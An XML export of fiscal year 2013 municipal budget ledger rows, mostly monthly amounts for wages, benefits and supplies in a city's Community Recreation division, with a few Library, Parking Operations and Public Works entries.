<row _id="1992"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>24036.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>240</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24276.0</total></row>
<row _id="1993"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>404.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>404.0</total></row>
<row _id="1994"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>420.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>420.0</total></row>
<row _id="1995"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1341.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1354.0</total></row>
<row _id="1996"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6294.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6294.0</total></row>
<row _id="1997"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>28919.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>289</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29208.0</total></row>
<row _id="1998"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6429.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>64</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6493.0</total></row>
<row _id="1999"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-200.0</total></row>
<row _id="2000"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>29698.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>297</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29995.0</total></row>
<row _id="2001"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>313.0</total></row>
<row _id="2002"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>216.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>216.0</total></row>
<row _id="2003"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1178.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>12</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1190.0</total></row>
<row _id="2004"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3280.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3280.0</total></row>
<row _id="2005"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>137.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>137.0</total></row>
<row _id="2006"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>900.0</total></row>
<row _id="2007"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>367.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>367.0</total></row>
<row _id="2008"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
<row _id="2009"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400420.0</object><object_description>SKATE PARK</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2010"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>630.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>630.0</total></row>
<row _id="2011"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12088.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12088.0</total></row>
<row _id="2012"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20100.0</total></row>
<row _id="2013"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>53410.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>53410.0</total></row>
<row _id="2014"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="2015"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="2016"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>775.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>775.0</total></row>
<row _id="2017"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>96866.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>96866.0</total></row>
<row _id="2018"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1305.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-104</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1201.0</total></row>
<row _id="2019"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1326.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>13</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1339.0</total></row>
<row _id="2020"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1611.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>16</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1627.0</total></row>
<row _id="2021"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100.0</total></row>
<row _id="2022"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>120742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1207</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>121949.0</total></row>
<row _id="2023"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10318.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>103</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10421.0</total></row>
<row _id="2024"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>104.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>104.0</total></row>
<row _id="2025"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1738.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="2026"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>481.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>481.0</total></row>
<row _id="2027"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
<row _id="2028"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407390.0</object><object_description>GYM RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2029"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8905.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>89</february><march>0.0</march><april>-8994</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2030"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6628.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-6628</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2031"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522114.0</object><object_description>UTIL-LIGHT/POWER-PARKING AUTH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>93617.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-93617</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2032"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>20400.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>204</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20604.0</total></row>
<row _id="2033"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>772.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>8</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>780.0</total></row>
<row _id="2034"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1122.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1122.0</total></row>
<row _id="2035"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="2036"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="2037"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>167469.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1675</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>169144.0</total></row>
<row _id="2038"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1037.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1047.0</total></row>
